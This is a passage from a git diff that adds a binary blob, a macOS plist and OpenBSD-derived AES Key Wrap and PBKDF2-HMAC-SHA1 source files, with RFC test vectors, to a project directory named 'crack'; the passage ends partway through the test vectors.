z2>(KeLa-uCMo2<<58)8P2?Q6yuLyYFh?#;g4B>W!@d%9w283k@aR{Rj9ziHWxE^6E zf(79&gu4+QMujj#*hMTAcfLJ<5Anh<_MIE?TPLVJV&gzpe+2%8bcA#_7{9pOoY zr3j-D(hzPz=#Jn-NJdzWFb&}|gv$}a5jG$cBTPW}0igmR5aA1iSqQ!epCZ&C3`H1; z;Day`p)EpRgqsmwLpXx44Iu@g1mPZpqX-KTzCqZBa5cg_g!Kp?AWTIlN613B0pVwa zZxI{_ix8ecFd@8*a4SMT1U#Y)>V-h&u@m7T7<(-A@uzC>7uumxc?LI;H12wx+NMMy`8Mz|kgAVMdE?FfkouOM_qfZD=Sg*S!x zzziauq?sS08PS4Rgh=kUtKy#g`T7J$^wPbLb?b5OtSd(z$b9OWQ{x{Fek$qQwvER6 zNz=~_HlLX{|LKzX2aEenHk|(LqpzlYbRhhVqH!axxNB?53lnEP_r;u^FZa8z{cCncvv%GT!sh-Cd3^nz#Ft8S(cFT=}o}kAxH?g=N%C z9JlZ7JLj%`t?<@`cmAAtZPNXp=T%<$;yE51HobKAw)j3roKMvmCgtCF zS8#p!Q`2X+3q8KW_}U8*58U>~KOQ$-edNbGLI>}7e0QIh=Nb(+uju-H|6cE{xqIir zCr|#^?x!tv8B^c+`4h(n|7z1VIAwVCn%|#z{o#Z`!%L_C^ytvqHEjxypLs0myOqAK z6UmmgkL1m|-Y@&r#x)_=j&A$;z0b6{_VWp^em&)d^@$~IZh1W~=l!-`OClTXMKH>X!8-t^$eL09#C zZjMj;PT$auP< zJLAI(9iM({?T?jZFAm&S-aGL2?x${?+^+E1S3bZ0hx5tHwmx!&_RFr*`8U6D&Fpc* zm;QRw{IHm{pS{`VK>BarznFUJXvO}|hJ56Ad+J!r<(mV{{%@{Y(${+X+0m~Y_8;2# z%)BjOZ%vB$=Vd<)-tpOY@&D*>sD96atgg@ZzrQlK{9NoN|I5>kUHAIB-^zN7Ia&Jg zfF(Da*f8w!x28_KV^4MDzkh#p|GKMu-@os@<)@zr{bJGMSKRs1Cy(uZdd$&>M-J$4 z_pNac9<+|VBzq4>!n{exlHfv3i-OB%ZYzK z_|41jUX^2g-}{koKU};$?AaZU4H?pBO!(kUkH1+p`_U0s@0wch#Qqh(Z9lZ3rpw1q z4zu3pb?TQ-zKiY{_s+8a)86^OSv9Ty|4fBkBT)#++^gtbX_6xMCjFVFqNX&JB2K3{ zXPVJ8XPPt9Uzb5KQH=jdGWk=35TcN4BDW$W(NGjZ*A4lXF5&ln_IlQteO6Ps_xJsN z`@UY^vtO?@>wMO;p1s#zd%ySD=b63MPTz6U(KFuZH?H5puX+sX_t5H14Q}7^@l$Wk zIj;QDzDrJMv+RoVBbg08zvS+VJ5EoDm0bH{+ir*abm8%%o*cM#!_B7;Y5b2Sz1|r! zJ+yw-q|~`*-q3XCuxXu}{PW9`AAG&zs?g#uK5718=f`_Z8n$We>~mt@44(LU(`GN6 zxgz%YYd>UP^w7`2rqQ!EU9%x$!j<1X_DYxKdC#=z(6Upo>wPa4zjXXjsjWU*dVQbH zt-IZJ=&xf_s?Pf0$<&6kw=AluST-aan)2%8qNm%xT{66&clQgHtO5T4;GYftFMF982Pf&W3^UmyHuf&T;G{|)#* z0shZ||8Vd>1^jOY|Lx#E7yMrX|F^;a1n|EO{O<<;O7L$F{-xl57Wh8|{s)5p`QZOA z@IM>;9|iwR@P7*Y4*>rt`2Pz2Ey4c|@Lvu73q&{?CB_O7Ncw{(Zs!Iq?4({OM1@3I6lIejE*e+KyX1OGwbzX|+52LI#0e+l?s0salZ z|6=fufqz@@zYzQfg8%8@-vs=pga0J(zXANGf&Z7_-x2)30RPV5KMefO0so2M{{r}b z4*nN`e^ci;Qs;m&j$Yr@DG815%`yYe|PYo z5B?GGzaRWB0sqn9-xK_Yf`5JR{}KGhfd4q~?+gCx!T(k8&jA1X!2d$pZ@ z@IM#)PXqtc!T$>I9}oVIf`29Wp921Q;QurD7l8jx@P7;Z>w*7`;QuiAw+8cIM{I3K51Hu0Q@P8isXMq33;J*(1j|Bgp!2ciM-vj*TfPZ)JzaIQA0{<_;|99Yj z82Gmk{=xqm@c#n*i@?7a{C@@iPT>DG_@4#-?}Gn4@E-*JZNYyO_C_X3jQm=zY6>x1pi~e{~+*xAN)sv|4HEgJ^23x{4WRp zKZ5_?!G9O{e+~W{!G9|F{{j3D2mhAfe>V8H2miU?pAP=*z<(h4e+>Rdf&Vk$-y8hH z;6EMw&jJ57;9mj$S>XRB_}>fuhk*Z;;Qs;m-vItEfdAd#e>3>62LDX(Zvy^H!2bvE ze+>M~!2cHTKNb9s0RKC||F7Vm1OCr}{{--F2L6k|e-`)`g8!%B{|5MP1^>Ii{|xXy z82m2-|0lrzMDV{A{Byy7Dfqtv{%gR$2K;A&|9jv+0Q`4=|2yEn5d8are*^G;3jE8# z{{-+qAN)TD|Bm2a0{-2=|9J3U3;sjEzZdw2z&{oIn}UC5@IM*+SAqX0;Qu)IZvy`q z_`eSRXM+E0;QtW#N5Ovs_E#SWl{HK8b z)8IcG{4W6i@4&ws_#X}aCxidP;D0yx{|NpcgMT~l9|!)c!M`5(e**r00{@QSKN9>O z2mfcm|8wyF1^m;&zc2V_g8y6KeMe>3>60{<7m{|4|M3jWW4 z|A*jT4*qH2|2p_@0{>&d|9tSz2LCYlj|TrM!M`E+_Xhu-;Qs;mPX_-O_@4*VT@NWeEQ^EgH@IMv&4+H<<;C~VLp8@{A1OE%a z|4Z<{3;e6WezFY z{|xZ20sphW|0VFh82s0O|J&f-3j7y3o(4gP-t|C7Lf82HZu|Nh{A8~FbU{!79C zNbvs*{G;H15BM(x|NFuJ9Pobt{O<+-EbzYy{42nJKKM5P|83y^8u;G?{{6uJEAW2^ z{BH;UH^Ki>@NWbD5%9kR{HKHewcvjU_>Thr4dCAx{NDlp_254j{C9$X6Yzf!{6pa1 z9Q=EM|61_>2K<|X{|fN`0sMak|FgkA1NLfNNu_lQ-NDNA1Q4-gXn2^MnBvvSK zEr~Ho+)QF%5-*gvhQ!b$7A3I_iStR!L*ic&dm`+#Tw+BM^N{$N#4IE}DKQa=7fFmp zVnY)5lem<`m?W+yu_1{qN&G`%krES>SdheeB)%iD5{c7D{6yj`5@(WFpu{pIUMF!% zi9ty$Nn$(_+mqOk#49CEBXJ#xfk_-k;wuujkvNLPI3=zrF)N8%N{mcmO%i*Pn4H9+ zBvvHxA&KEh%v0ip5)+cxoW#T=o+sNc(}yWC0;J^VTnactW;vr5+9cMrNmh!#w#&BiGfONTjF{W zAC{Q5#HJ}^ER4y(mX@+lJiXc z=Gi6>giOBNy9?AZvXwj!C(AJPW6q+4#o8lxn_}VCzgYW^b4;oGyoa^tRT{f)F1`wD zFH*bw6T!b&d!zZLw2|M)XKSyhGzK13OjxYFrTXv5KBv;S?aAI={pH%^U+ntNP2mK3jX9+L`MpVX^iX)XrnK35&JAybt@U`>?;c5BvIk z*xy(CK?$v^-M>%N&N#1x#kT(&weRWtPnl=j_H=v>+=u;;eb^hTeNXLgruG98T3@?= zEu8fawe>dZhwYlX7XU3T(|m8)8n=cv&OI}eK9pZ9(9)aUzH`z*C@IN_qxM-&8` zAJgHX+@Z4%3|V_JPxe5v2a-LI?15wtBzqv)1IZpp_CT@+l0A^@fn*OPdmz~Z$sS1d zK(YstJ&^2yWDg{JAlU=S9!T~;vImkqknDkE4Lq}ZFz3jwhMUCY( zK7qr#21obl-!H`b8;S=+WuoldP$`qzpFg%!#SvYZl(t7E(@*o(ioz1+U1!Q}?}Zfu zBe{{{NMTMSP*#3m^@+_YSWA!0ZUr(YGt-9Km6UDfbwS>e;?&6EZ4LobHn6m?Z!}t@ zJ~Dx|8U{@)iqyWEfEk!&^7rn%2_sf#g&`rP^4yDKHm^eL9 z5g0qdHTh?%mkN1ag+6q(^imenze{P6SDFtK!EE)# z(TP%_ETzsGyyHOoHk-FjaIC0WZmRYlc`5U|4`jl6CQq003R6BXGKzPi6i?*MBgGR< z3wmS@u=9LVZ{{BB*}amrRn}1}lQ(h<2r*YW_NqGUv^IQ=Ewe7iNo5!z`>N_aJj_?Ff8j+HV<$NMl$Fwp@$N{hLkdY6NW z1RLIc3e82417=LwdC~E*fl8I$b(!~@M0g1T#Z|i(XL_$K5#vI?akt~WWOr-)q!sV# zy6rvaKJb(pE9vQ#IMk{%5l(cHQ(ZTHA-A)T;@-iLogx%>c?NgZVRV{1axtgkji+DqTcOsNa zaWKf21@HG@jTJ`Me!s};rNl5(456Hyh}m+b$dNf?_=@4k7@_Ph^c3GKVp`&fNs;2H zsA^F;_IkEbRAho_-x?9QykV)ZBv-1|c$&9uh}i52?=2`Iw~CavT$!uXc2CA4kMZmM zOL^-@$m_l(s=bR^wFs#$HCKw@V0vPWCki4Fuls5|Ram>J&0c}`J{fV{>d9L3c2AcS z>n`n789#<)2g;^OiVMtslzYz0-T9$Z_#btMsJ4cZTZB$uuox$^qLN zRHxLWR2`O9mNIBTg9&{%rldA+SXpm-{iXE>ZLMEczo0y2%}Je?r))`S*=Ak6TkDsl zFiYCb1D7`l&uo~nu-=lCqS+~{Qt%;d_W-Z;|HlSMZ^M< zol2!8pHoO!z4_#)P=}9!HY6!OkR;R29F`Lu)0Wo;6-3&4uTh~WP+#lHv{C-L&1&oR z;2mz>i=+%)wLYyKpF?;(nE|qGcW>SDM>ZUm54vd=D-hR;%_zYRSrxsChsrOTVH{*KEIar zZPb}0?&q_t&uZ&mt?Lvm?eS~zpM9>W@B*L3-)cU3+pjU^`2P5HSSsn__U8s{{{H+J zE&chW)1P)eBYEGYY~N~Gwe)9|&ix@;+V9uWemf6RiTYb@{nPN1#rmgt%ILkdpZ6*! zw7(o(*ZI&{=V3a8vtHV7wcUQ1Z+p^yzn1ndRsW{yZ?*Lw0JF zWf3jg_iOR*Jj62x+S~T4w*C{0IqvV*;=f4iXR5!|*1xag@7LlVxWH5xto~M8|Ba5n zUyJ`n^&hGJR$G7Xio-fYXYt3c#eb{%N7dhI>)+hjzSWbce-c-`g88O`)c2oHQ?UEb z|JNK{gRYB*21CvIf(^|1WVLM%)5Um;XxSgXmiW95GnLjt9>*Ax$Fk?TObqgO>%l2E6w#x?=$)r7gE&J2_BF`LXrT$h+eequ^ zA6O(4f4}x055d6S-gd0duQSkfwZCS#tUVA|r`xyMZr{(NY~Qb?{cSEb{@*y!Zb@k`1Bg{s-a$T4Gv0BzI`%_@d@%`~@=?^>KU6%S=ZT-s~f2)Jk zPg9#@1&*HTXjz|se_fvMq`rUuE75iBZ+XaU^h7|F{k2-wFZ(;7iLr~8E&feQO@+?tZ?*Mb?)dw)w|({RZMU!5`fqXk{o3DuE`QmqFRZ?j z<)Z8Azop|$rSEn7R@?2j)OCoK{_|^T|7P|7RsF5D{%st8zZU=0@uorxCeV}PXSMYo zBp+BLlkNMp_>a&p%vS1ewbYlk-YOqhBolwX7XR-idgj0x>Tk8w7ymM2j{Ezy_?JvF z75b{b)z+VG@fOjteZLm}%hdlu^|$)B`cF~+JoUGFU;g8$pJtlo{k_)Fw>f$q`XnY{ ztX^fDo_6fAJ^%UW^1PJ#Vc+&vpzAsxr|bS?F(Ia$4_4d#nZWnDETW}9{aX67!R4Mg zz&oZrf2*y3hI7B>*W%y1%=pVIpk@13TYtL`qGkJjE&dDC|2p-z+WI$ZVAgN_t)5MN zxj!hMZ|rlee%R>wsu!wWVD)3h{gSA>?fZ|Hd;O@UzTG$RSc$Id zcrBk|*4LK_ETzA!w)>l5%<<#p*V11Nr%FZ{@AYVX_9LC!)n`}B3*}Q*&n}_{TXqs zsc^FTTW$SkJN|wx{=3xwZ1uO=`mc8U{aXB2mYWLw)Zc3BzufWnYw@2x%~S}gztz^? zzrR@&`nA`7^`E5vyHs2M1Tt2W! zChhlY@gF+FGY4K)f2*awoR9wPiN9Zqf5r{Q|6TRB+WI$;4=j?2zh8@g?;AaHV7vNT zE%jyl(~UXq@7LnLPW^YOztz^iuXFwM>#$VP#l4<1;=3bkjpQez>*6QvW>aY?_Li*A zYPhHNip{pZ#uL6%ZQ}{` z4>Rqx@qxyw?eG2LRomb1tySCK&s|j8-@{p|?eEdy=tlI1{e3w~?e_QHR9jzv&)uWi z{vKPQ+Www-Tebat@~LWj|Np&edq4lHYI}cvNMp0VHG02&lxlnbo2J^{&z_^&-k)Zw zw)dMCsJ8cyV^rJw!O5!a{oORx_I~XS)%Jd8fogmIvP^aFGIIjHrP|(Ke4^TZ|9-F9 zexDx11krLn+V96Es_pmF$*S%5&DpB$_eVd~_WK~H+Fsu$+4_3DzEQQk{ywbQUQb_E zZLg2-s*&lm-I8C+XJzKTq_X>0)?yqb-X_{&qkC~y`-hbU} z^~0vWXR5aMUw2#mn6ck$wcdZtw_5MN7FezKUyq|(aE)EL!uY?WdX4H8s#~u#_SLG( zRKKsfT=hRy&s4ojb+c8*zdpZ%{iH)!g$FTVa`9o^B< z=Q(*%W;eYc~ZbMyvB|KR9@k4$WTQ%ARObbCkla`Z)x&T(|i(bF7V>F8%1 zz0T2JI=bFbiTiV;qq`W*DP@*yM;AK!a!1c}^plQW@93?LKKN*_eevzLc62vK4|DWn zM_=#gDn~!(=(Udi(CGO2TfdptzBq5Gj&9-T(;VH|(HV|D*U{%Y`T|E^;^>H@M?1R2 z(UTl~mC^D2y~EKDI=b4?n;acDCh>S4Wpup%S~$9uqt9@37e{A0I?K^R96j98VMiA` zda|Rhbo8~3p5f?Q9X-d<^Bnz{qZd1RnWI-ZdcC7JIr=k4f9>c8Aa5RNKBdc>X*TI@(j3w~q)O6U(!HenNcWSNUxE$kXX7VkIDbcF-Z%g z4~|8OW9dcFSpI~<{K88^={yEHx+GeZ&J%O;NM|fPyEGilj^w19ht1M+ig^H5{|0zQ ztRTXJwAnm;8flyJAFpm?X?{W2thBB9tdEkOnqQO`EsR8C2}bj@Y3$TOc?zu{JybmA zj1K9EZHWeg2?fD|XedleyN5=(mZDH`EYh84xQZug1#eyY=xi)~Xbz7M%X2R2Jh;r0 zPxMJfWL%_x$CZlH2NZ-#a%n~^J%50-w10NnA}#XO%FZ~iw!)chPiq?sk4`U*6{qJH z<`k5MBk4TpGCERRD7%v0KU*H#>|e~|!EN()Ypgt{Rrh|3;@P)?P%MTu7Vr+!em)|m z4IByYLy(^1foBywT@n+Dcp-3!fHILwxh^Q?sEtKX4f_;VribjqO=eFO^ zE!RfS?xN8-v5rBbIWu^WKN!mkotAjH3)1BM+~UM5oV16=Cl+$@4&a&~m$37s^AoLH zV)DnC$M76WX(5ksj>ctVXp}r0E8i0ZAs(V+tU|Y**_`X8IVIWolOm@Df;^oZjFy%J zf+I_Fk^F7{|9M*HM{~K7<)sJo11C;#VPt<_DxAj9*WQD%+PDBuoW|sPFqlU_709K| zwAvd365x4TE`K~I+%Hm+7v(|L;`~wGbHlEoh>MV%ZTtD$@|wUd$`j6mibI7l`Ia-% zd$QRx=;O@ZXY&-acXo8+X=OS<#-!}$z1Xce?2%lR^5x-db1M59E0_8{{d1y)h1~fB zg5fA_|Q4i4^<5$sv$U24@$>ITD+arrqBb6N8?B_BJT-qF?(byoKT)lF3`LBPX9 z%|SNH_?rT7ipG2^<~t|YFH$@z67E$H9T_S>O9KPN`Ii=kL;IbHcr)l&`53zU;a7@}NiuyxG@4a8S6N{NdU%DBNEDoGyPl1iYt?_xl-kUVe#O zcfH2Y{FrxXw3@S|hdrN6jT|2K<`^YWR+Yfi^JnXTrtP+^(37l zg(DetR}zhu?zM(li5zf$U18h%lKXdlPdWD%-hc{LRL5^I!6p71X3xJH{-^KOf7^}ho^BhR z-De;Fi*L#HaU1e)eueMznTcf?1P8jx^FbFt4bW+Fr zsuE4hC-t)q1qYrJ%~t~So5IDYtL?_7f&_F9L@-H0^ZxYw?Tvf4A`w+)L0 zM!mI_NfOM@TDk4@6|xn=1hpnRrr(>XfU5rS_r5s_>af_^3FbUjWw9-2Cd^AS+6 z_lXGVu3%d$JC)!sH$~pm1FnIlcykU=o^5W6Id$x4fB(+PDz%20WuR8G4(p*ce3h-m zSClZJK<#SGdA-l+HsV8&6Xv$?#vUh>nAtA8A~V5-9g=LuBJ-E;O=3SX`Zze!8+NSY zjm<#g_z2@*t_&>>=9)3ZbnTQ zM%l-I`@$2W`!9a&wx1^ddi-xKTef!B2VG`OIO%tPopSbdUw&Nwj<;X=x_VaY!Q+M> zyZQ2xj?<@|QC08Uj*~_`kQLsx@Z;CIY=7^bo$rn*dv?T?Kb}%`Ps zCs$p2);m8n+PJCT(qEpsD|7t3>oZdqq^`)wTK4mlmQ8nb4n%iM?)P-3{149T-T%|7 znr+`+x%v2e5BSShN2jjuG_?DUjN(>{KdbEh{TbgsSa?B`pJSaaZ8bNvHf$w{iAsBXTBe`e^>;$G-U1`nM)bICo6po4ZmP zKfLv-J5F6aW$TAaUY__xn^V?Y5}Drkfu941{p;t8247cy$Sa4X-O_2?aqZXk`1I?? yFJAFu?tOE{?buc{_q(cbZ=Ah)-p!MTMKe!- + + + + BugFix + + Major + 1 + Minor + 0 + PackageRevision + 1 + Stage + + + diff --git a/crack/crack/bsdcrypto/key_wrap.c b/crack/crack/bsdcrypto/key_wrap.c new file mode 100644 index 0000000..997e742 --- /dev/null +++ b/crack/crack/bsdcrypto/key_wrap.c @@ -0,0 +1,119 @@ +/* $OpenBSD: key_wrap.c,v 1.3 2011/01/11 15:42:05 deraadt Exp $ */ + +/*- + * Copyright (c) 2008 Damien Bergamini + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF + * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +/* + * This code implements the AES Key Wrap algorithm described in RFC 3394. + */ + +#include +#include + +//haxs to compile on osx +#include +#define timingsafe_bcmp bcmp +#define ovbcopy bcopy +#define explicit_bzero bzero +#define htobe64 CFSwapInt64BigToHost +#include "rijndael.h" +#include "key_wrap.h" + + +static const u_int8_t IV[8] = + { 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6 }; + +void +aes_key_wrap_set_key(aes_key_wrap_ctx *ctx, const u_int8_t *K, size_t K_len) +{ + rijndael_set_key(&ctx->ctx, K, K_len * NBBY); +} + +void +aes_key_wrap_set_key_wrap_only(aes_key_wrap_ctx *ctx, const u_int8_t *K, + size_t K_len) +{ + rijndael_set_key_enc_only(&ctx->ctx, K, K_len * NBBY); +} + +void +aes_key_wrap(aes_key_wrap_ctx *ctx, const u_int8_t *P, size_t n, u_int8_t *C) +{ + u_int64_t B[2], t; + u_int8_t *A, *R; + size_t i; + int j; + + ovbcopy(P, C + 8, n * 8); /* P and C may overlap */ + A = C; /* A points to C[0] */ + memcpy(A, IV, 8); /* A = IV, an initial value */ + + for (j = 0, t = 1; j <= 5; j++) { + R = C + 8; + for (i = 1; i <= n; i++, t++) { + /* B = A | R[i] */ + memcpy(&B[0], A, 8); + memcpy(&B[1], R, 8); + /* B = AES(K, B) */ + rijndael_encrypt(&ctx->ctx, (caddr_t)B, (caddr_t)B); + /* MSB(64, B) = MSB(64, B) ^ t */ + B[0] ^= htobe64(t); + /* A = MSB(64, B) */ + memcpy(A, &B[0], 8); + /* R[i] = LSB(64, B) */ + memcpy(R, &B[1], 8); + + R += 8; + } + } + explicit_bzero(B, sizeof B); +} + +int +aes_key_unwrap(aes_key_wrap_ctx *ctx, const u_int8_t *C, u_int8_t *P, size_t n) +{ + u_int64_t B[2], t; + u_int8_t A[8], *R; + size_t i; + int j; + + memcpy(A, C, 8); /* A = C[0] */ + ovbcopy(C + 8, P, n * 8); /* P and C may overlap */ + + for (j = 5, t = 6 * n; j >= 0; j--) { + R = P + (n - 1) * 8; + for (i = n; i >= 1; i--, t--) { + /* MSB(64, B) = A */ + memcpy(&B[0], A, 8); + /* MSB(64, B) = MSB(64, B) ^ t */ + B[0] ^= htobe64(t); + /* B = MSB(64, B) | R[i] */ + memcpy(&B[1], R, 8); + /* B = AES-1(K, B) */ + rijndael_decrypt(&ctx->ctx, (caddr_t)B, (caddr_t)B); + /* A = MSB(64, B) */ + memcpy(A, &B[0], 8); + /* R[i] = LSB(64, B) */ + memcpy(R, &B[1], 8); + + R -= 8; + } + } + explicit_bzero(B, sizeof B); + + /* check that A is an appropriate initial value */ + return timingsafe_bcmp(A, IV, 8) != 0; +} diff --git a/crack/crack/bsdcrypto/key_wrap.h b/crack/crack/bsdcrypto/key_wrap.h new file mode 100644 index 0000000..edaf140 --- /dev/null +++ b/crack/crack/bsdcrypto/key_wrap.h @@ -0,0 +1,40 @@ +/* $OpenBSD: key_wrap.h,v 1.1 2008/08/12 15:43:00 damien Exp $ */ + +/*- + * Copyright (c) 2008 Damien Bergamini + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF + * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +#ifndef _KEY_WRAP_H_ +#define _KEY_WRAP_H_ + +typedef unsigned char u_int8_t; + +typedef struct _aes_key_wrap_ctx { + rijndael_ctx ctx; +} aes_key_wrap_ctx; + +#include + +__BEGIN_DECLS + +void aes_key_wrap_set_key(aes_key_wrap_ctx *, const u_int8_t *, size_t); +void aes_key_wrap_set_key_wrap_only(aes_key_wrap_ctx *, const u_int8_t *, + size_t); +void aes_key_wrap(aes_key_wrap_ctx *, const u_int8_t *, size_t, u_int8_t *); +int aes_key_unwrap(aes_key_wrap_ctx *, const u_int8_t *, u_int8_t *, + size_t); +__END_DECLS + +#endif /* _KEY_WRAP_H_ */ diff --git a/crack/crack/bsdcrypto/pbkdf2.c b/crack/crack/bsdcrypto/pbkdf2.c new file mode 100644 index 0000000..d14f6ef --- /dev/null +++ b/crack/crack/bsdcrypto/pbkdf2.c @@ -0,0 +1,253 @@ +/* $OpenBSD: pbkdf2.c,v 1.1 2008/06/14 06:28:27 djm Exp $ */ + +/*- + * Copyright (c) 2008 Damien Bergamini + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF + * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +#include +#include + +#include +#include +#include + +#include "sha1.h" + +#include "pbkdf2.h" + +/* #define PBKDF2_MAIN */ + +/* + * HMAC-SHA-1 (from RFC 2202). + */ +static void +hmac_sha1(const u_int8_t *text, size_t text_len, const u_int8_t *key, + size_t key_len, u_int8_t digest[SHA1_DIGEST_LENGTH]) +{ + SHA1_CTX ctx; + u_int8_t k_pad[SHA1_BLOCK_LENGTH]; + u_int8_t tk[SHA1_DIGEST_LENGTH]; + int i; + + if (key_len > SHA1_BLOCK_LENGTH) { + SHA1Init(&ctx); + SHA1Update(&ctx, key, key_len); + SHA1Final(tk, &ctx); + + key = tk; + key_len = SHA1_DIGEST_LENGTH; + } + + bzero(k_pad, sizeof k_pad); + bcopy(key, k_pad, key_len); + for (i = 0; i < SHA1_BLOCK_LENGTH; i++) + k_pad[i] ^= 0x36; + + SHA1Init(&ctx); + SHA1Update(&ctx, k_pad, SHA1_BLOCK_LENGTH); + SHA1Update(&ctx, text, text_len); + SHA1Final(digest, &ctx); + + bzero(k_pad, sizeof k_pad); + bcopy(key, k_pad, key_len); + for (i = 0; i < SHA1_BLOCK_LENGTH; i++) + k_pad[i] ^= 0x5c; + + SHA1Init(&ctx); + SHA1Update(&ctx, k_pad, SHA1_BLOCK_LENGTH); + SHA1Update(&ctx, digest, SHA1_DIGEST_LENGTH); + SHA1Final(digest, &ctx); +} + +/* + * Password-Based Key Derivation Function 2 (PKCS #5 v2.0). + * Code based on IEEE Std 802.11-2007, Annex H.4.2. + */ +int +pkcs5_pbkdf2(const char *pass, size_t pass_len, const char *salt, size_t salt_len, + u_int8_t *key, size_t key_len, u_int rounds) +{ + u_int8_t *asalt, obuf[SHA1_DIGEST_LENGTH]; + u_int8_t d1[SHA1_DIGEST_LENGTH], d2[SHA1_DIGEST_LENGTH]; + u_int i, j; + u_int count; + size_t r; + + if (rounds < 1 || key_len == 0) + return -1; + if (salt_len == 0 || salt_len > SIZE_MAX - 1) + return -1; + if ((asalt = malloc(salt_len + 4)) == NULL) + return -1; + + memcpy(asalt, salt, salt_len); + + for (count = 1; key_len > 0; count++) { + asalt[salt_len + 0] = (count >> 24) & 0xff; + asalt[salt_len + 1] = (count >> 16) & 0xff; + asalt[salt_len + 2] = (count >> 8) & 0xff; + asalt[salt_len + 3] = count & 0xff; + hmac_sha1(asalt, salt_len + 4, pass, pass_len, d1); + memcpy(obuf, d1, sizeof(obuf)); + + for (i = 1; i < rounds; i++) { + hmac_sha1(d1, sizeof(d1), pass, pass_len, d2); + memcpy(d1, d2, sizeof(d1)); + for (j = 0; j < sizeof(obuf); j++) + obuf[j] ^= d1[j]; + } + + r = MIN(key_len, SHA1_DIGEST_LENGTH); + memcpy(key, obuf, r); + key += r; + key_len -= r; + }; + bzero(asalt, salt_len + 4); + free(asalt); + bzero(d1, sizeof(d1)); + bzero(d2, sizeof(d2)); + bzero(obuf, sizeof(obuf)); + + return 0; +} + +#ifdef PBKDF2_MAIN +struct test_vector { + u_int rounds; + const char *pass; + const char *salt; + const char expected[32]; +}; + +/* + * Test vectors from RFC 3962 + */ +struct test_vector test_vectors[] = { + { + 1, + "password", + "ATHENA.MIT.EDUraeburn", + { + 0xcd, 0xed, 0xb5, 0x28, 0x1b, 0xb2, 0xf8, 0x01, + 0x56, 0x5a, 0x11, 0x22, 0xb2, 0x56, 0x35, 0x15, + 0x0a, 0xd1, 0xf7, 0xa0, 0x4b, 0xb9, 0xf3, 0xa3, + 0x33, 0xec, 0xc0, 0xe2, 0xe1, 0xf7, 0x08, 0x37 + }, + }, { + 2, + "password", + "ATHENA.MIT.EDUraeburn", + { + 0x01, 0xdb, 0xee, 0x7f, 0x4a, 0x9e, 0x24, 0x3e, + 0x98, 0x8b, 0x62, 0xc7, 0x3c, 0xda, 0x93, 0x5d, + 0xa0, 0x53, 0x78, 0xb9, 0x32, 0x44, 0xec, 0x8f, + 0x48, 0xa9, 0x9e, 0x61, 0xad, 0x79, 0x9d, 0x86 + }, + }, { + 1200, + "password", + "ATHENA.MIT.EDUraeburn", + { + 0x5c, 0x08, 0xeb, 0x61, 0xfd, 0xf7, 0x1e, 0x4e, + 0x4e, 0xc3, 0xcf, 0x6b, 0xa1, 0xf5, 0x51, 0x2b, + 0xa7, 0xe5, 0x2d, 0xdb, 0xc5, 0xe5, 0x14, 0x2f, + 0x70, 0x8a, 0x31, 0xe2, 0xe6, 0x2b, 0x1e, 0x13 + }, + }, { + 5, + "password", + "\0224VxxV4\022", /* 0x1234567878563412 */ + { + 0xd1, 0xda, 0xa7, 0x86, 0x15, 0xf2, 0x87, 0xe6, + 0xa1, 0xc8, 0xb1, 0x20, 0xd7, 0x06, 0x2a, 0x49, + 0x3f, 0x98, 0xd2, 0x03, 0xe6, 0xbe, 0x49, 0xa6, + 0xad, 0xf4, 0xfa, 0x57, 0x4b, 0x6e, 0x64, 0xee + }, + }, { + 1200, + "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" + "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", + "pass phrase equals block size", + { + 0x13, 0x9c, 0x30, 0xc0, 0x96, 0x6b, 0xc3, 0x2b, + 0xa5, 0x5f, 0xdb, 0xf2, 0x12, 0x53, 0x0a, 0xc9, + 0xc5, 0xec, 0x59, 0xf1, 0xa4, 0x52, 0xf5, 0xcc, + 0x9a, 0xd9, 0x40, 0xfe, 0xa0, 0x59, 0x8e, 0xd1 + }, + }, { + 1200, + "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" + "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", + "pass phrase exceeds block size", + { + 0x9c, 0xca, 0xd6, 0xd4, 0x68, 0x77, 